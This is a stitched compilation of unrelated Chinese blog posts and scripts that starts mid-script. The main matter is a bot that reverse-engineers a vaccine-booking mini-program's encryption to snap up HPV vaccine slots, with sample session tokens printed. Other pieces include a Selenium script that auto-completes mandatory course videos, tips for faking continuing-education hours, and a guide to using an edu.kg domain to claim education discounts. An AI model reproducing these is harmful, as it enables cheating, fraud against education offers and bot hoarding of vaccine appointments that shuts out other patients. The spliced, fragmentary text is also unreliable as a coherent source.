                print('播放完成,点击按钮"我知道了"')
                break
        index += 1


# selenium预处理
option = Options()
option.add_experimental_option("debuggerAddress", "127.0.0.1:9222")
wd = webdriver.Chrome(service=Service('chromedriver.exe'), options=option)
wd.implicitly_wait(3)  # 隐式等待

study_list = wd.find_elements(By.CSS_SELECTOR, 'a.study')  # 按钮'开始学习'的列表
length_study_list = len(study_list)  # 一共几门课
index_study_list = 1
for i in range(length_study_list):
    study_list = wd.find_elements(By.CSS_SELECTOR, 'a.study')  # 按钮'开始学习'的列表
    if index_study_list == 0 or index_study_list == 1:
        index_study_list += 1
        continue
    study_list[i].send_keys(Keys.ENTER)  # 点击按钮'开始学习'
    wd.find_element(By.CSS_SELECTOR,
                    'body > div > div.w1150 > div.wrap_right > div.lesson1_cont.q_lesson1_cont > div.lesson1_title > '
                    'div > a:nth-child(2)').send_keys(
        Keys.ENTER)  # 点击‘按钮’必修
    necessary_list = wd.find_elements(By.CSS_SELECTOR,
                                      'body > div > div.w1150 > div.wrap_right > div.lesson1_cont.q_lesson1_cont > '
                                      'div.lesson1_lists > ul > li')  # 必修的课程列表
    tmp_url = wd.current_url
    length_necessary_list = len(necessary_list)  # 必修课的个数
    index_necessary_list = 1  # 第几个必修课
    remove_blank()  # 移除target="_blank"属性
    for j in range(length_necessary_list):
        manage(j)  # 处理视频
        wd.get(tmp_url)  # 处理完视频回退
        remove_blank()  # 移除target="_blank"属性
        print("专题{}/{}:完成必修课程{}/{},三秒后进入下一个课程...".format(index_study_list, length_study_list, index_necessary_list,
                                                         length_necessary_list))
        time.sleep(3)
        index_necessary_list += 1
    index_study_list += 1  # 专题加一
    wd.get("https://dxpx.uestc.edu.cn/jjfz/lesson")

自签名有什么用,就不用我多说了吧,会玩的用处就多,分享一个简单的自签教程,废话不多说,下面是操作。
1.下载Sideloadly软件,下载地址:https://sideloadly.io

2.打开后连接手机入下图,会显示你的手机名称;

3.把你准备好的ipa软件拖入这个软件里面,举个例子:tiktok,下载连接:https://www.mediafire.com/file/7rtq772su5wsa57/tiktok.ipa/file

4.输入你的apple ID,点击确认后输入密码后最后点击下面的Star就开始签名

5.等到桌面出现软件图标的时候就算签名完成了,然后点击手机设置-通用-VPN与设备管理,信任以你签名的apple ID,

6.然后就可以打开软件愉快的玩耍啦,

很多玩法需要自己去解锁,比如安装低版本、或者好玩的版本,至于软件可以自己去找找,有很多的

ps:7天就掉签的,然后得再弄一次

在网页底部自定义中添加 如果你网站开启了pjax,可能还会有点小bug,问题不大

<!-- 客户端信息 -->
    <div id="fps" style="z-index:5;position:fixed;bottom:3px;left:3px;color:#2196F3;font-size:10px;"></div>
    <script type="text/javascript" src="https://cdn.jsdelivr.net/gh/kaliisra/myblogstatic/kehuduan-js/fetch.min.js"></script>
    <script src="https://cdn.gmit.vip/layer/3.1.1/layer.js" type="text/javascript" charset="utf-8"></script>
    <script>
    /*网站打开提醒代码开始*/
    $(function(){
        if(/*getCookie('msg') !=*/ 1){
            var t = document.createElement("a");
            t.href = document.referrer;
            var msgTitle = t.hostname;
            var name = t.hostname.split(".")[1];
            if("" !== document.referrer){
                switch (name) {
                    case 'bing':
                        msgTitle = '必应搜索';
                        break;
                    case 'baidu':
                        msgTitle = '百度搜索';
                        break;
                    case 'so':
                        msgTitle = '360搜索';
                        break;
                    case 'google':
                        msgTitle = '谷歌搜索';
                        break;
                    case 'sm':
                        msgTitle = '神马搜索';
                        break;
                    case 'sogou':
                        msgTitle = '搜狗搜索';
                        break;
                    default:
                        msgTitle =  t.hostname;
                };
            };
            var time = (new Date).getHours();
            var msg = '';
            23 < time || time <= 5 ? msg = "你是夜猫子呀?这么晚还不睡觉,明天起的来嘛?":
            5< time && time <= 7 ? msg = "早上好!一日之计在于晨,美好的一天就要开始了!":
            7< time && time <= 11 ? msg = "上午好!工作顺利嘛,不要久坐,多起来走动走动哦!":
            11< time && time <= 14 ? msg = "中午了,工作了一个上午,现在是午餐时间!":
            14< time && time <= 17 ? msg = "午后很容易犯困呢,今天的运动目标完成了吗?":
            17< time && time <= 19 ? msg = "傍晚了!窗外夕阳的景色很美丽呢,最美不过夕阳红~":
            19< time && time <= 21 ? msg = "晚上好,今天过得怎么样?":
            21< time && time <= 23 && (msg = "已经这么晚了呀,早点休息吧,晚安~");
            $.ajax({
                type:"get",
                url:"https://open.gmit.vip/web/api/UserInfo/",
                async:true,
                success:function(data){
                    window.info = data;
                    layer.msg("Hi~ 来自"+ data.data.location + '~<br/>通过 '+msgTitle+' 进来的朋友!<br/>使用 '+ data.data.os +"<br/>"+ data.data.browser +' 访问本站!' + '<br/>' + msg);
                    var showFPS = (function(){
                        var requestAnimationFrame =
                            window.requestAnimationFrame ||
                            window.webkitRequestAnimationFrame ||
                            window.mozRequestAnimationFrame ||
                            window.oRequestAnimationFrame ||
                            window.msRequestAnimationFrame ||
                            function(callback) {
                                window.setTimeout(callback, 1000/60);
                            };
                        var e,pe,pid,fps,last,offset,step,appendFps;
 
                        fps = 0;
                        last = Date.now();
                        step = function(){
                            offset = Date.now() - last;
                            fps += 1;
                            if( offset >= 1000 ){
                            last += offset;
                            appendFps(fps);
                            fps = 0;
                            };
                            requestAnimationFrame( step );
                        };
                        appendFps = function(fps){
                            var settings = {
                                timeout: 5000,
                                logError: true
                            };
                            $('#fps').html('<span style="float:left;">'+fps+'FPS</span><br/><span style="float:left">'+window.info.data.os+'</span><br/><span style="float:left;margin-top:1px;">'+window.info.data.browser+'</span><br/><span style="float:left;margin-top:1px;">'+window.info.data.location+'</span><br/><span style="float:left;margin-top:1px;"></span>');
                        };
                        step();
                    })();
                }
            });
        };
    });
    </script>

如果不显示,在头部或者脚部添加以下代码

<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>

建立站点

在宝塔面板后台点击:网站-添加站点-输入网站域名

反向代理设置

安装面板后新建站点,然后设置站点选择反向代理(如下图所示)

然后设置反向代理

目标URL是: https://www.google.com.hk
发送域名也是: www.google.com.hk

#注意:目标URL一定是www.google.com.hk 后缀为二级区域域名.hk或者.sg。
否则会出现无法反代,连续多跳的问题。

SSL设置

点击SSL-开启https强制运行(这一步一定要有,因为谷歌目前已经强制https,所以镜像站点同样要以https运行)

介绍

一个基于 php 的外卖订餐网站,包括前端和后台。

运行环境:Apache+PHP+Mysql

代码说明

htaccess Rewrite 配置文件,需要放入到项目根目录
configs.php 需要配置数据库连接信息(主机、用户名、密码),系统常量,debug 模式等
data.sql 位于 data 目录中,是数据库备份文件,需要提前导入到 mysql 中
sendCode.php 短信接口,需要用到 appkey 和 secret ,可到 alidayu.com 申请。

技术架构:

后台 PHP+Mysql 前台 jQuery 、html 、CSS 、Bootstrap

网站结构:

网站首页 place.html

菜品展示页 shop.html

个人中心:

我的地址;余额;代金券;订单;我的积分;设置。

网站目录

account 个人中心(我的地址、余额、订单、积分、设置等)
admin 商家后台系统(完整的后台系统)
ajax 各种前台请求接口
configs 各种配置文件
core 各种核心函数
data 数据库 sql 文件
images 网站图片资源
lib 各种常用函数库
scripts 各种 js 文件
style 各种 css 文件
界面预览
首页

点餐页面

源码地址

[bshide]https://github.com/geeeeeeeek/dingfanzu[/bshide]

2022年新升级带特效喝酒神器小程序源码多种游戏支持流量主,具体功能如下:

1.彩票智能选号(支持多个彩种选号,快来选你的专属号码吧)

2.小马快跑(支持竞选模式和个人单选模式,PS马是真的在跑哟)

3.整蛊鳄鱼(少了一颗牙自动往酒杯加酒,看你能喝几杯)

4.真心话大冒险(这个就不多做解释啦)

5.转盘模式(指向谁谁就要做出惩罚)

6.啤酒轮盘(指向谁谁就要做出惩罚)

7.摇骰子

8.指尖模式

9.时间刚刚好(说几秒,然后卡几秒看你能不能哟支持多人模式)

10.手持弹幕

11.酷炫手机(相当于手机版的旧版闪光)

用户每日超出次数,还支持激励视频解锁游戏,当然了没有开通流量主的用户,就无此限制

代码逻辑清晰,文件规划统一明了,非常不错的,可以下载了学习一下,商用请支持正版,有问题可以联系本站客服获得帮助!!

搜索adunit-8e509190606cd228替换为你的Banner
搜索adunit-4e164272962ed757替换为你的插屏广告
搜索adunit-df287c05332593ba替换为你的激励广告

合法域名无需设置

代码地址:

https://github.com/geeeeeeeek/jd_qianggou

使用步骤:

第一步:获取 cookie

登录 pc 版 JD 商城,进入购物车,打开控制台,查看接口 https://api.m.jd.com/api?functionId=pcCart_jc_getCurrentCart 的 cookie ,填入 cookie 的输入框

第二步:获取商品 id

找到需要抢购的商品,查看详情,可以看到浏览器的 URL 为 https://item.jd.com/xxxxxxxx.html , 复制 xxxxxxxx 填入商品 ID 框,

第三步:设置抢购时间和数量

抢购时间需要格式设置,格式为 yyyy-MM-dd HH:mm:ss ,如 2022-05-02 12:00:00 。数量可随意设置,但需要考虑到店铺的库存以及是否设置为限购 1 件。

第四步:开始抢单
这个时候可以泡一杯茶,静待好事发生。

即可

现在大部分省市专业技术人员的的继续教育公需课开始了。这里提供几种小白做法。
一、使用软件刷课时

    可现在形式下,很少公开软件了。

二、使用油猴插件

    运气好的话,你能找到你本地市相关继续教育的插件。

三、使用360浏览器。

   打开360浏览器→设置→工具→自动刷新频率  时间设为5分钟内,设置成功后再进行公需课的学习。这样既能规避弹出的问题,又能计时。
    本人强烈建议使用第三种方法。因为没有任何技术含量。
    强烈建议使用第三种方法
    强烈建议使用第三种方法
    强烈建议使用第三种方法
 大家试试,如果有用的话,请支持一下。

一个简单的九价抢购python脚本,用于抢购知苗易约疫苗,请勿用于盈利,免费提供,仅供学习。

使用方法

参数配置:
jiujia.ini

[jiujia]
cookie=
wait_speed=1000
buy_speed=1000
p_id=54
id=492
# cookie 小程序抓包cookie
# wait_speed 等待开始刷新时间,单位毫秒
# buy_speed 抢购间隔,单位毫秒
# p_id 1是九价(九价人乳头瘤病毒疫苗),2是四价(四价人乳头瘤病毒疫苗),3是二价(二价人乳头瘤病毒疫苗-进口),54是二价(二价人乳头瘤病毒疫苗(大肠杆菌)),其他疫苗请抓包获取。不同医院小程序内置的ID可能不一样,具体请抓包查看。
# id 门诊医院id

cookie配置方法:

使用fiddler抓包知苗易约小程序:https://blog.csdn.net/A_Liucky_Girl/article/details/124534772

fiddler抓不到PC端微信小程序的包:https://www.csdn.net/tags/NtzaggxsNTA1MjgtYmxvZwO0O0OO0O0O.html

点击门诊进入疫苗预约

cloud.cn2030.com 开头的就是知苗易约的包

ASP.NET_SessionId=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NTU3MDE2NjAuMDg2ODAyNywiZXhwIjoxNjU1NzA1MjYwLjA4NjgwMjcsInN1YiI6IllOVy5WSVAiLCJqdGkiOiIyMDIyMDYyMDEzMDc0MCIsInZhbCI6InJ2RmZBUUlBQUFBUU1EUXdZVFptWXpnek4yRm1OR0V5Tnh4dmNYSTFielZNY0VsRWRFMXFZMnR6UzA1ckxXTkdNelpOTldKekFCeHZcclxuVlRJMldIUTJVRlZNTVU5TlNFMTVlV1JOVDFOcGRtSnNTalJSRFRFeE15NHhOaTQwT0M0eU5Ea0FBQUFBQUFBQSJ9.mcqQXSdBADjCbXrmRgvWN7bj55tCNPXomPwf7rwsFRU

抓包后等号后面ey到结尾这一段就是cookie

门诊id配置方法:

点击门诊进入疫苗预约

包列表中的:https://cloud.cn2030.com/sc/wx/HandlerSubscribe.ashx?act=CustomerProduct&id=492&lat=22.83393&lng=108.31343

id=492就是门诊id

疫苗产品p_id配置方法:

1是九价(九价人乳头瘤病毒疫苗),2是四价(四价人乳头瘤病毒疫苗),3是二价(二价人乳头瘤病毒疫苗-进口),54是二价(二价人乳头瘤病毒疫苗(大肠杆菌)),其他疫苗请抓包获取。
不同医院小程序内置的ID可能不一样,具体请抓包查看。

上面抓包信息组合起来配置文件内容就是下面这样子:

[jiujia]
cookie=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NTU3MDE2NjAuMDg2ODAyNywiZXhwIjoxNjU1NzA1MjYwLjA4NjgwMjcsInN1YiI6IllOVy5WSVAiLCJqdGkiOiIyMDIyMDYyMDEzMDc0MCIsInZhbCI6InJ2RmZBUUlBQUFBUU1EUXdZVFptWXpnek4yRm1OR0V5Tnh4dmNYSTFielZNY0VsRWRFMXFZMnR6UzA1ckxXTkdNelpOTldKekFCeHZcclxuVlRJMldIUTJVRlZNTVU5TlNFMTVlV1JOVDFOcGRtSnNTalJSRFRFeE15NHhOaTQwT0M0eU5Ea0FBQUFBQUFBQSJ9.mcqQXSdBADjCbXrmRgvWN7bj55tCNPXomPwf7rwsFRU
wait_speed=1000
buy_speed=1000
p_id=1
id=492

[bsmark]祝大家抢购成功[/bsmark]

注意事项

准点前两分钟打开
测试预约成功后及时取消预约,不然没办法预约第二次。
抢购前先试一下抢2价,需要提前在我的-个人信息-填写好姓名性别身份证号
每个ip有自己的cookie,不可共享Cookie。
没有多线程,也不要多开
cookie有效期一个小时
如果需要提高成功率请选择多开电脑和多开账号,且一台电脑对应一个账号


import base64
import configparser
import datetime
import json
import os
import sys
import urllib3
import re
import time
import hashlib
import requests
from requests.sessions import RequestsCookieJar
from Crypto.Cipher import AES
from Crypto.SelfTest.st_common import a2b_hex, b2a_hex
from Crypto.Util.Padding import pad, unpad
md5 = hashlib.md5()
urllib3.disable_warnings()
 
x = requests.Session() #实例化requests.Session对象
url = "https://cloud.cn2030.com" #URL变量
proxies = {'https': '127.0.0.1:8888','http':'127.0.0.1:8888'} #测试代{过}{滤}理
mxid = {} # 需要遍历的字典 {"日期":"产品mxid"}
date_mxid = []  # 接种日期列表 ['04-17','04-18']
 
def getZftsl(): # 请求头获取Zftsl字段
    strtime = str(round(time.time() * 100))
    str1 = "zfsw_"+strtime
    md5.update(str1.encode("utf-8"))
    value = md5.hexdigest()
    return value
 
 
def getDecrypt(k, value, iv=b'1234567890000000'): # Body解密,CBC模式,pkcs7填充,数据块128,偏移1234567890000000
    try:
        cryptor = AES.new(k.encode('utf-8'), AES.MODE_CBC, iv)
        value_hex = a2b_hex(value)
        unpadtext = unpad(cryptor.decrypt(value_hex), 16, 'pkcs7')
        j = json.loads(unpadtext)
        return j
    except Exception as e:
        print("解密错误:", e)
        return False
 
 
def getEncrypt(k, value, iv=b'1234567890000000'): # Body加密,CBC模式,pkcs7填充,数据块128,偏移1234567890000000
    try:
        value = value.encode('UTF-8')
        cryptor = AES.new(k.encode('utf-8'), AES.MODE_CBC, iv)
        text = pad(value, 16, 'pkcs7')
        ciphertext_hex = b2a_hex(cryptor.encrypt(text))  # 字符串转十六进制数据
        ciphertext_hex_de = ciphertext_hex.decode()
        ciphertext_hex_de = ciphertext_hex.decode().strip()
        return ciphertext_hex_de
    except Exception as e:
        print("加密错误", e)
        return None
 
 
def getSign(cookie): # 获取用户签名(用于解密)
    global Sign
    try:
        data = cookie.split('.')[1]
        missing_padding = 4 - len(data) % 4
        if missing_padding:
            data += '=' * missing_padding
        b = base64.b64decode(data.encode("utf-8")).decode("utf-8")
        b = json.loads(b)
        b = b['val'].replace(' ', '').replace('\r\n', '')
        b = base64.b64decode(b)
        b = str(b)
        j = re.findall(r'(?<=\\x00\\x00\\x10).{16}', b)[0]
        Sign = j
        return True
    except Exception as e:
        print("获取签名错误:", e)
        return False
 
 
def getHeaders(): #返回请求头
    # 'Cookie': 'ASP.NET_SessionId=' + cookie,
 
    # 电脑UA
    # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat',
 
    # iOS手机UA
    # 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.20(0x1800142f) NetType/WIFI Language/zh_CN',
 
    # Andorid手机UA
    # 'User-Agent': 'Mozilla/5.0 (Linux; Android 11; M2012K11AC Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/78.0.3904.62 XWEB/2691 MMWEBSDK/201101 Mobile Safari/537.36 MMWEBID/8628 MicroMessenger/7.0.21.1783(0x27001543) Process/tools WeChat/arm64 Weixin GPVersion/1 NetType/WIFI Language/zh_CN ABI/arm64',
    headers = {
        'Host': 'cloud.cn2030.com',
        'Connection': 'keep-alive',
        'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.20(0x18001433) NetType/WIFI Language/zh_CN',
        'content-type': 'application/json',
        'zftsl': getZftsl(),
        'Referer': 'https://servicewechat.com/wx2c7f0f3c30d99445/92/page-frame.html',
        'Accept-Encoding': 'gzip,deflate, br'
    }
    return headers
 
 
def getPayload(p_id, id, scdate): #返回Payload
    payload = {
        'act': 'GetCustSubscribeDateDetail',
        'pid': p_id,
        'id': id,
        'scdate': scdate
    }
    return payload
 
 
def getMxid(scdate): #获取scdate日期当天的产品列表
    try:
        list1 = []
        r = x.get(url=url + '/sc/wx/HandlerSubscribe.ashx', headers=getHeaders(), params=getPayload(p_id, id, scdate),
                  timeout=1, verify=False)
        j = getDecrypt(Sign, r.text)
        if (j["status"] == 200):
            if ('mxid' in str(j)):
                for i in j["list"]:
                    if (i['qty'] > 0):
                        list1.insert(0, i['mxid'])
                mxid[scdate] = list1
                return True
            else:
                print("GetMxid没有mxid:", j)
                return False
        else:
            print("GetMxid状态码不为200:", j)
            return False
    except Exception as e:
        print("GetMxid:", e)
        return False
 
 
def getDate(): #获取疫苗可预约时间
    current_date = datetime.datetime.now().strftime('%Y%m')
    payload = {
        'act': 'GetCustSubscribeDateAll',
        'pid': p_id,
        'id': id,
        'month': current_date
    }
    try:
        r = x.get(url=url + '/sc/wx/HandlerSubscribe.ashx', params=payload, headers=getHeaders(), timeout=1,
                  verify=False)
        j = json.loads(r.text)
        if (j["status"] == 200):
            if ('enable' in str(j)):
                for date in j["list"]:
                    if (date["enable"] == True):
                        date_mxid.insert(0, date["date"])
                return True
            else:
                return False
    except Exception as e:
        print("获取日期失败:", e)
 
 
def set_Cookie(r): #设置cookie
    global cookie
    try:
        del x.cookies['ASP.NET_SessionId']
        cookies = r.cookies
        x.cookies.update(cookies)
        cookie_dict = requests.utils.dict_from_cookiejar(r.cookies)
        new_cookie = cookie_dict['ASP.NET_SessionId']
        update_config(cookie,new_cookie)
        cookie = new_cookie
        return True
    except Exception as e:
        print("cookie出错:", e)
        return False
 
 
def yanZheng_code(mxid): #请求查询是否获取验证码
    global r_cookie
    payload = {
        'act': 'GetCaptcha',
        'mxid': mxid
    }
    try:
        r = x.get(url=url + '/sc/wx/HandlerSubscribe.ashx', headers=getHeaders(), params=payload, verify=False,
                  timeout=1)
        j = json.loads(r.text)
        r_cookie = r
        set_Cookie(r)
        if (j['status'] == 200):
            return True
        else:
            print('状态: 有验证码:', r.text)
            return False
    except Exception as e:
        print('验证码出错:', e)
        return False
 
 
def OrderPost(mxid, scdate): #提交订单信息
    try:
        postContext = '{"birthday":"%s","tel":"%s","sex":%s,"cname":"%s","doctype":1,"idcard":"%s","mxid":"%s","date":"%s","pid":"%s","Ftime":1,"guid":""}' % (
            birthday, tel, sex, cname, idcard, mxid, scdate, p_id)
        postContext = getEncrypt(Sign, postContext)
        r = x.post(url=url + '/sc/api/User/OrderPost', data=postContext,timeout=1, headers=getHeaders(), verify=False)
        if ("eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9" not in r.headers.get('set-cookie')):
            set_Cookie(r_cookie)
        if (r.status_code == 200):
            j = json.loads(r.text)
            if (j['status'] == 200):
                print("状态: " + j["msg"], end='')
                return True
            else:
                print("状态: " + j["msg"], end='')
                return False
        else:
            return False
    except Exception as e:
        print("OrderPost:", e)
 
 
def GetOrderStatus(): #获取订单信息状态
    try:
        payload = {
            'act': 'GetOrderStatus'
        }
        r = x.get(url=url + '/sc/wx/HandlerSubscribe.ashx', params=payload, headers=getHeaders(), verify=False,
                  timeout=1)
        j = json.loads(r.text)
        if (j['status'] == 200):
            print("\t结果: " + j["msg"])
            input('抢购成功!退出程序。')
            sys.exit(0)
        else:
            print("\t结果: " + j["msg"])
            return False
    except Exception as e:
        print("GetOrderStatus:", e)
 
 
def getUserInfo(): #获取用户基本信息
    global birthday, tel, cname, sex, idcard
    payload = {
        'act': 'User'
    }
    try:
        r = x.get(url=url + '/sc/wx/HandlerSubscribe.ashx', params=payload, headers=getHeaders(), verify=False)
        j = json.loads(r.text)
        if (j['status'] == 200):
            birthday = j['user']['birthday']
            tel = j['user']['tel']
            sex = j['user']['sex']
            cname = j['user']['cname']
            idcard = j['user']['idcard']
            print("登录成功,用户:", cname,end='')
            return True
        else:
            print('Cookie出错:%s' % r.text)
            input('退出程序')
            sys.exit(0)
            return False
    except Exception as e:
        print("无法正常运行", e)
        input('退出程序')
        sys.exit(0)
        return False
 
 
def file_config(): #初始化配置文件
    global cookie
    global wait_speed
    global buy_speed
    global p_id
    global id
    cf = configparser.RawConfigParser()
    if (os.path.exists('jiujia.ini')):
        try:
            cf.read("jiujia.ini", encoding='utf-8')
            cookie = cf.get("jiujia", "cookie")
            wait_speed = cf.get("jiujia", "wait_speed")
            buy_speed = cf.get("jiujia", "buy_speed")
            p_id = cf.get("jiujia", "p_id")
            id = cf.get("jiujia", "id")
            c = requests.cookies.RequestsCookieJar()  # 4.设置Cookie
            c.set('ASP.NET_SessionId', cookie)
            x.cookies.update(c)
        except Exception as e:
            print("配置文件错误", e)
            input('')
            sys.exit(0)
    else:
        print("jiujia.ini配置文件不存在当前文件夹下。")
        input('')
        sys.exit(0)
 
 
def update_config(old_cookie, new_cookie): #更新配置文件中的Cookie
    file_data = ""
    with open('jiujia.ini', "r", encoding="UTF-8") as f:
        for line in f:
            if old_cookie in line:
                line = line.replace(old_cookie, new_cookie)
            file_data += line
    with open("jiujia.ini", "w", encoding="UTF-8") as f:
        f.write(file_data)
 
 
def main(): #主体程序
    for i in date_mxid:  # 循环日期列表获取接种列表
        max_retry = 0
        while max_retry < 3:
            try:
                cishu = 1
                if (getMxid(i)):
                    print("抢苗接种时间:", i)
                    for mxid_now in mxid[i]:
                        print('开始第%s次抢购 (%s) ' % (cishu, mxid_now), end='')
                        if (yanZheng_code(mxid_now)):
                            time.sleep(int(buy_speed) / 1000)
                            if (OrderPost(mxid_now, i)):
                                time.sleep(int(buy_speed) / 1000)
                                GetOrderStatus()
                                time.sleep(int(buy_speed) / 1000)
                        cishu += 1
                    break
                else:
                    time.sleep(1)
            except Exception as e:
                print(e)
                time.sleep(1)
            max_retry += 1
 
 
cookie = '1'        # cookie 小程序抓包cookie
wait_speed = '1000' # wait_speed 等待开始刷新时间,单位毫秒
buy_speed = '1000'  # buy_speed 抢购间隔,单位毫秒
p_id = '1'       # p_id 疫苗产品id(1是九价)
id = '1843'            # id 门诊医院id
 
if __name__ == '__main__':
    # cookie = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE2NDk5NTY1MDIuNzk0MTMyMiwiZXhwIjoxNjQ5OTYwMTAyLjc5NDEzMjIsInN1YiI6IllOVy5WSVAiLCJqdGkiOiIyMDIyMDQxNTAxMTUwMiIsInZhbCI6IkwydlFBQUlBQUFBUVlUTTBZMlV3TUdOak5HTmtOVGN4TWh4dmNYSTFielZNY0VsRWRFMXFZMnR6UzA1ckxXTkdNelpOTldKekFCeHZcclxuVlRJMldIUTJVRlZNTVU5TlNFMTVlV1JOVDFOcGRtSnNTalJSRHpFeU5DNHlNall1TWpVeExqSXpNQUFBQUFBQUFBQT0ifQ.3-Uu3qizNJvgQDm7sTPCAEkU-Hp2lxmYwfeqIOPbaGY'
 
    # x.cookies['ASP.NET_SessionId'] = cookie # 1.设置Cookie
 
    # x.cookies.set('ASP.NET_SessionId', cookie, path='/') #2. 设置Cookie
    # x.cookies.set('path','/')
 
    # cookie_2 = {
    #     'ASP.NET_SessionId':cookie
    # }
    # requests.utils.add_dict_to_cookiejar(x.cookies, cookie_2) #3.设置Cookie
 
 
    file_config()  #初始化用户信息
    getUserInfo()  # 获取用户信息
    getSign(cookie)  # 生成解密秘钥
    print('\t2022-04-17版本')
 
    for i in range(100):
        mxid = {}  # 清空需要遍历的字典 {"日期":"产品mxid"}
        date_mxid = []  # 清空接种日期列表 ['04-17','04-18']
        while not (getDate()):
            try:
                print('列表刷新:', datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f'))
                time.sleep(int(wait_speed) / 1000)
            except Exception as e:
                print('ERROR:', e)
        print(date_mxid)
        print("开始抢苗")
        main()  # 程序运行窗口
        print("继续努力中...")

因为是从wordpress程序转换过来的,之前的文章评论都有类似的头像显示异常,我以为是wp转换的原因,也没怎么管,今天刚好测试了一下评论功能,结果才发现头像被拉的长长的,问了一下主题作者,作者说是CSS的原因,只能自己瞎搞了。

从主题的comment文件里找到下面这行代码:

<a class="ui big circular image avatar">
      <img class="avatar lazyload" data-src="<?php echo imgravatarq($comments->mail); ?>" alt="" width="60" height="60">
    </a>

注意一下,因为主题不同,所以代码不可能一模一样,所以要自己分辨找对,提前备份好。
然后将其替换为:

<span itemprop="image"><?php $number=$comments->mail;
if(preg_match('|^[1-9]\d{4,11}@qq\.com$|i',$number)){
echo '<img src="https://q2.qlogo.cn/headimg_dl? bs='.$number.'&dst_uin='.$number.'&dst_uin='.$number.'&;dst_uin='.$number.'&spec=100&url_enc=0&referer=bu_interface&term_type=PC" width="46px" height="46px" style="border-radius: 50%;float: left;margin-top: 0px;margin-right: 10px;margin-bottom:-2px">'; 
}else{
echo '<img src="https://uploadbeta.com/api/pictures/random/?key=BingEverydayWallpaperPicture" width="46px" height="46px" style="border-radius: 50%;float: left;margin-top: 0px;margin-right: 10px;margin-bottom:-2px">';
}
?>
</span>

这样改完之后,评论留的的如果是QQ邮箱,就显示QQ头像,
如果不是,就使用随机头像。

需要自己设置以下内容

corpid = ''  #企业微信的 corpid
corpsecret = ''  #企业微信 corpsecret
appid = ''  #企业微信 appid
import datetime
import json
import requests as req
import sys
 
stoday = datetime.datetime.now().strftime('%m%d')
full_stoday = datetime.datetime.now().strftime('%Y-%m-%d')
 
corpid = ''
corpsecret = ''
appid = ''
 
 
def send_wx(x):
    url = f'https://qyapi.weixin.qq.com/cgi-bin/gettoken?corpid={corpid}&corpsecret={corpsecret}'
    r = req.get(url, timeout=5)
    tokens = json.loads(r.text)['access_token']
    url = f"https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token={tokens}"
    data = {
        "touser": "@all",
        "msgtype": "text",
        "agentid": appid,
        "text": {
            "content": x
        },
        "safe": 0,
    }
    data = json.dumps(data)
    return req.post(url, data=data, timeout=9).text
 
 
headers = {
    'user-agent':
    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36'
}
r = req.get('https://news-at.zhihu.com/api/4/news/latest',
            headers=headers)  # 获取知乎API
rjson = json.loads(r.text)
if not rjson:
    sys.exit()
 
ls = [f'----- {full_stoday} -----']
for i in rjson['stories']:
    biaoti = i['title']
    url = i['url']
    riqi = i['ga_prefix'][:4]
 
    if riqi == stoday:
        if '·' in biaoti:
            biaoti = f'★{biaoti}'
        ls.append(f'\n<a href=\"{url}\">{biaoti}</a>')
 
send_wx('\n'.join(ls))

今天发现吉尔吉斯斯坦的edu.kg域名可以低价方便地注册到,于是赶紧抢了一个。

域名注册商:www.cctld.kg

注册账号

点击“Person ID & Domain”,选择“Register new one”,然后输入名字、地址、电话、邮箱即可“Next”进入下一步。

注册完成之后,网页上会显示一个你的PID,是你一定要记住的!一定要把它复制下来!

登录和充值

点击“Person ID & Domain”,选择“Enter account”,输入刚刚获得的ID,然后完成验证码并“Next”。

此时你的邮箱会收到他发送的密码。填写并登录。

登录之后,在最下面可以看到充值入口(图中“HERE”)和价格表(图中“here”)。
其中三级域名价格为每年261吉尔吉斯斯坦索姆(汇率为13.4:1,约20人民币),二级域名(xxx.kg)为2613吉尔吉斯斯坦索姆(约195人民币)。

因此我们先点击充值按钮HERE,然后输入PID和金额(261)。

跳转到支付界面,输入卡片信息,点支付。支持Visa和Mastercard。

注册域名

继续点击“Person ID & Domain”,登录后进入域名管理和注册界面。
上方是注册账号时填的信息,之后也会被当作whois信息。
然后输入域名,选择后缀,输入密码和DNS解析,点击apply,就申请成功了。

最终只扣了我256.42索姆,不过就差了几毛钱,还是充261的好。
再次进入就可以看到域名编辑界面,点击可以编辑它。
编辑的时候注意,有个“Hide Personal Data”(whois隐私保护)要取消,购买的话需要392索姆(30人民币)。不过因为是三级域名,要查也只能在他的系统里查到具体的联系信息,所以问题不大。

其他

教育域名能干啥我就不用多说了吧~
这网站也太原始了,逻辑也有点迷,密码好像只能通过邮件获取,和一次性代码差不多。

什么是edu教育域名?

.edu(英语:education的缩写)是互联网的赞助类顶级域(sTLD)之一,主要供高等教育机构——如大学等院校使用。一般美国学校的官网后缀都是.edu,例如麻省理工的官网就是mit.edu,而我国大学官网后缀一般是edu.cn,例如tsinghua.edu.cn。而在我国正规的教育域名是无法个人申请的,必须是我国依法设立的各级教育和科研单位同时必须配置了至少两台DNS服务器。域名由中国教育网网络信息中心负责管理不是开放性的。

我用我注册的edu.kg域名,成功申请了微软的教育订阅全局管理,其他的审核不严格的教育优惠也可以使用,比如扫描全能王教育订阅和notion的个人专业版,其他的我就没测试过了。